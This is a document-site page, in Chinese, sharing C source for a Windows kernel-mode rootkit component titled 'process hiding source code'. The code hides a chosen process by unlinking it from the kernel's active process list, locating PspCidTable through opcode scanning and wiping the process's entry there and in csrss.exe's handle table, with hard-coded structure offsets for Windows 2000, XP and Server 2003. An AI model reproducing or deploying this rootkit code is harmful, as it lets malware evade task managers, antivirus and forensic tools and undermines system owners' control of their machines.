进程隐藏的源代码

合集下载
相关主题
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

ProcessHide.h

代码:
#ifndef __PROCESSHIDE_H__
#define __PROCESSHIDE_H__

#ifdef __cplusplus
extern "C" {
#endif

#include

/*
使用之前请先调用InitializeCommonVariables初始化全局变量
*/

typedef struct _HANDLE_TABLE_ENTRY {

//
// The pointer to the object overloaded with three ob attributes bits in
// the lower order and the high bit to denote locked or unlocked entries
//

union {

PVOID Object;

ULONG ObAttributes;
};

//
// This field either contains the granted access mask for the handle or an
// ob variation that also stores the same information. Or in the case of
// a free entry the field stores the index for the next free entry in the
// free list. This is like a FAT chain, and is used instead of pointers
// to make table duplication easier, because the entries can just be
// copied without needing to modify pointers.
//

union {

union {

ACCESS_MASK GrantedAccess;

struct {

USHORT GrantedAccessIndex;
USHORT CreatorBackTraceIndex;
};
};

LONG NextFreeTableEntry;
};

} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;

typedef struct _HANDLE_TABLE {

//
// A set of flags used to denote the state or attributes of this
// particular handle table
//

ULONG Flags;

//
// The number of handle table entries in use.
//

LONG HandleCount;

//
// A pointer to the top level handle table tree node.
//

PHANDLE_TABLE_ENTRY **Table;

//
// The process who is being charged quota for this handle table and a
// unique process id to use in our callbacks
//

struct _EPROCESS *QuotaProcess;
HANDLE UniqueProcessId;

//
// This is a singly linked list of free table entries. We don't actually
// use pointers, but have each store the index of the next free entry
// in the list. The list is managed as a lifo list. We also keep track
// of the next index that we have to allocate pool to hold.
//

LONG FirstFreeTableEntry;
LONG NextIndexNeedingPool;

//
// This is the lock used to protect the fields in the record, and the
// handle table tree in general. Individual handle table entries that are
// not free have their own lock
//

ERESOURCE HandleTableLock;

//
// The list of global handle tables. This field is protected by a global
// lock.
//

LIST_ENTRY HandleTableList;

//
// The following field is used to loosely synchronize thread contention
// on a handle. If a thread wants to wait for a handle to be unlocked
// it will wait on this event with a short timeout. Any handle unlock
// operation will pulse this event if there are threads waiting on it
//

KEVENT HandleContentionEvent;
} HANDLE_TABLE, *PHANDLE_TABLE;

typedef BOOLEAN (*EX_ENUMERATE_HANDLE_ROUTINE)(
IN PHANDLE_TABLE_ENTRY HandleTableEntry,
IN HANDLE Handle,
IN PVOID EnumParameter
);

typedef BOOLEAN (*__ExEnumHandleTable)(
IN PHANDLE_TABLE HandleTable,
IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure,
IN PVOID EnumParameter,
OUT PHANDLE Handle OPT

IONAL
);

NTSTATUS
GetPspCidTable(
OUT PHANDLE_TABLE* ppPspCidTable
);

BOOLEAN
EnumHandleCallback(
IN PHANDLE_TABLE_ENTRY HandleTableEntry,
IN HANDLE Handle,
IN OUT PVOID EnumParameter
);

NTSTATUS
EraseObjectFromHandleTable(
PHANDLE_TABLE pHandleTable,
IN HANDLE ProcessId
);

NTSTATUS
RemoveNodeFromActiveProcessLinks(
IN HANDLE ProcessId
);

NTSTATUS
HideProcessById(
IN HANDLE ProcessId
);

NTSTATUS
InitializeCommonVariables(
);

NTSTATUS
GetProcessNameOffset(
OUT PULONG Offset OPTIONAL
);

NTSTATUS
LookupProcessByName(
IN PCHAR pcProcessName,
OUT PEPROCESS *Process
);
#ifdef __cplusplus
} // extern "C"
#endif

#endif // __PROCESSHIDE_H__
ProcessHide.c

代码:
#include "ProcessHide.h"
#include "LDasm.h"

ULONG g_Offset_Eprocess_Name = NULL;
ULONG g_Offset_Eprocess_Flink = NULL;
ULONG g_Offset_Eprocess_ProcessId = NULL;
ULONG g_Offset_Eprocess_HandleTable = NULL;

PEPROCESS g_pEprocess_System = NULL;


NTSTATUS
GetPspCidTable(
OUT PHANDLE_TABLE* ppPspCidTable
)
/*
通过搜索PsLookupProcessByProcessId函数,获取PspCidTable的地址
*/
{
NTSTATUS status;
PUCHAR cPtr;
unsigned char * pOpcode;
ULONG Length;
UNICODE_STRING uniPsLookup;
ULONG PsLookupProcessByProcessId;

status = STATUS_NOT_FOUND;

RtlInitUnicodeString(&uniPsLookup, L"PsLookupProcessByProcessId");
PsLookupProcessByProcessId = MmGetSystemRoutineAddress(&uniPsLookup); //MmGetSystemRoutineAddress可以通过函数名获得函数地址

for (cPtr = (PUCHAR)PsLookupProcessByProcessId;
cPtr < (PUCHAR)PsLookupProcessByProcessId + PAGE_SIZE;
cPtr += Length)
{
Length = SizeOfCode(cPtr, &pOpcode); //credit to LDasm.c by Ms-Rem
if (!Length) break;
if (*(PUSHORT)cPtr == 0x35FF && *(pOpcode + 6) == 0xE8)
{
*ppPspCidTable = **(PVOID **)(pOpcode + 2);
status = STATUS_SUCCESS;
break;
}
}
return status;
}

BOOLEAN
EnumHandleCallback(
IN PHANDLE_TABLE_ENTRY HandleTableEntry,
IN HANDLE Handle,
IN OUT PVOID EnumParameter
)
{
if (ARGUMENT_PRESENT(EnumParameter) && *(HANDLE *)EnumParameter == Handle)
{
*(PHANDLE_TABLE_ENTRY *)EnumParameter = HandleTableEntry;
return TRUE;
}
return FALSE;
}

// 修改一下,可以传递要擦除的ID做参数
NTSTATUS
EraseObjectFromHandleTable(
PHANDLE_TABLE pHandleTable,
IN HANDLE ProcessId
)
{
NTSTATUS status;

PVOID EnumParameter;
UNICODE_STRING uniExEnumHandleTable;

__ExEnumHandleTable ExEnumHandleTable;

status = STATUS_NOT_FOUND;
EnumParameter = ProcessId;


RtlInitUnicodeString(&uniExEnumHandleTable, L"ExEnumHandleTable");
ExEnumHandleTable = MmGetSystemRoutineAddress(&uniExEnumHandleTable);

if (NULL == ExEnumHandleTable)
{
return STATUS_NOT_FOUND;
}

// Enum后可以擦除,Callback过程中不能擦除
if (ExEnumHandleTable(pHandleTable, EnumHandleCallback, &EnumParameter, NULL))
{
InterlockedExchangePointer(&((PHANDLE_TABLE_ENTRY)EnumParameter)->Object, NULL);
status = STATUS_SUCCESS;
}

return status;
}



NTSTATUS
RemoveNodeFromActiveProcessLinks(
IN HANDLE ProcessId
)
{
NTSTATUS status;
PLIST_ENTRY pListEntry;
PEPROCESS pEprocess;

status = PsLookupProcessByProcessId(ProcessId, &pEprocess);

if (!NT_SUCCESS(status))
{
return status;
}
ObDereferenceObject(pEprocess);

pListEntry = (ULONG)pEprocess + g_Offset_Eprocess_Flink;

// 从链表中摘除
pListEntry->Blink->Flink = pListEntry->Flink;
pListEntry->Flink->Blink = pListEntry->Blink;

return status;
}


NTSTATUS
HideProcessById(
IN HANDLE ProcessId
)
{
NTSTATUS status;
PHANDLE_TABLE pPspCidTable;
PEPROCESS pCsrssEprocess = NULL;


if (NULL == g_Offset_Eprocess_HandleTable)
{
status = InitializeCommonVariables();
if (!NT_SUCCESS(status))
{
return status;
}
}

status = GetPspCidTable(&pPspCidTable);

if (!NT_SUCCESS(status))
{
return status;
}

status = LookupProcessByName("CSRSS.EXE\0", &pCsrssEprocess);

if (!NT_SUCCESS(status))
{
return status;
}

// 先从活动进程链表中摘除
status = RemoveNodeFromActiveProcessLinks(ProcessId);


// 擦除PspCidTable中对应的Object
status = EraseObjectFromHandleTable(pPspCidTable, ProcessId);


// 擦除Csrss进程中那份表
status = EraseObjectFromHandleTable(*(PULONG)((ULONG)pCsrssEprocess + g_Offset_Eprocess_HandleTable), ProcessId);


return status;
}

NTSTATUS
LookupProcessByName(
IN PCHAR pcProcessName,
OUT PEPROCESS *pEprocess
)
{
NTSTATUS status;
ULONG uCurrentProcessId = 0;
ULONG uStartProcessId = 0;
ULONG uCount = 0;
ULONG uLength = 0;
PLIST_ENTRY pListActiveProcess;
PEPROCESS pCurrentEprocess = NULL;


if (!ARGUMENT_PRESENT(pcProcessName) || !ARGUMENT_PRESENT(pEprocess))
{
return STATUS_INVALID_PARAMETER;
}

uLength = strlen(pcProcessName);

pCurrentEprocess = g_pEprocess_System;

uStartProcessId = *((PULONG)((ULONG)pCurrentEprocess + g_Offset_Eprocess_ProcessId));

uCurrentProcessId = uStartProcessId;

while(1)
{
if(_strnicmp(pcProcessName, (PVOID)((ULONG)pCurrentEprocess + g_Offset_Eprocess_Name), uLength) == 0)
{
*pEprocess = pCurrentEprocess;
status = STATUS_SUCCESS;
break;
}
else if ((uCount >= 1) && (uStartProcessId == uCurrentProcessId))
{
*pEprocess = 0x00000000;
status = STATUS_NOT_FOUND;
break;
}
else
{
pListActiveProcess = (LIST_ENTRY *)((ULONG)pCurrentEprocess + g_Offset_Eprocess_Flink);
(ULONG)pCurrentEprocess = (ULONG)pListActiveProcess->Flink;
(ULONG)pCurrentEprocess = (ULONG)pCurrentEprocess - g_Offset_Eprocess_Flink;
uCurrentProcessId = *(PULONG)((ULONG)pCurrentEprocess + g_Offset_Eprocess_ProcessId);
uCount++;
}
}
return status;
}

NTSTATUS
GetProcessNameOffset(
OUT PULONG Offset OPTIONAL
)
/*
在DriverEntry中调用
*/
{
NTSTATUS status;
PEPROCESS curproc;
ULONG i;

if (!MmIsAddressValid((PVOID)Offset))
{
status = STATUS_INVALID_PARAMETER;
return status;
}

curproc = PsGetCurrentProcess();

//
// 然后搜索KPEB,得到ProcessName相对KPEB的偏移量
// 偏

移174h的位置,这里存的是进程的短文件名,少数地方用,
// 比如SoftIce的addr和proc命令,如果名称超过16个字符直接截断

// Scan for 12KB, hopping the KPEB never grows that big!
//
for( i = 0; i < 3 * PAGE_SIZE; i++ ) {

if(!strncmp( "System", (PCHAR) curproc + i, strlen("System"))) {
*Offset = i;
status = STATUS_SUCCESS;
break;
}
}
return status;
}

NTSTATUS
InitializeCommonVariables(
)
{
NTSTATUS status;
ULONG uMajorVersion;
ULONG uMinorVersion;

status = GetProcessNameOffset(&g_Offset_Eprocess_Name);

if (!NT_SUCCESS(status))
{
return status;
}

g_pEprocess_System = PsGetCurrentProcess();

PsGetVersion(&uMajorVersion, &uMinorVersion, NULL, NULL);

if (uMajorVersion == 4 && uMinorVersion == 0)
{
g_Offset_Eprocess_Flink = 152;
// Stop supporting NT 4.0
return STATUS_UNSUCCESSFUL;
}
else if (uMajorVersion == 5 && uMinorVersion == 0)
{
g_Offset_Eprocess_ProcessId = 156;
g_Offset_Eprocess_Flink = 160;
g_Offset_Eprocess_HandleTable = 0x128;
}
else if (uMajorVersion == 5 && uMinorVersion == 1)
{
g_Offset_Eprocess_ProcessId = 132;
g_Offset_Eprocess_Flink = 136;
g_Offset_Eprocess_HandleTable = 0xC4;
}
else if (uMajorVersion == 5 && uMinorVersion == 2)
{
g_Offset_Eprocess_ProcessId = 132;
g_Offset_Eprocess_Flink = 136;
g_Offset_Eprocess_HandleTable = 0xC4;
}

return STATUS_SUCCESS;
}


相关文档
最新文档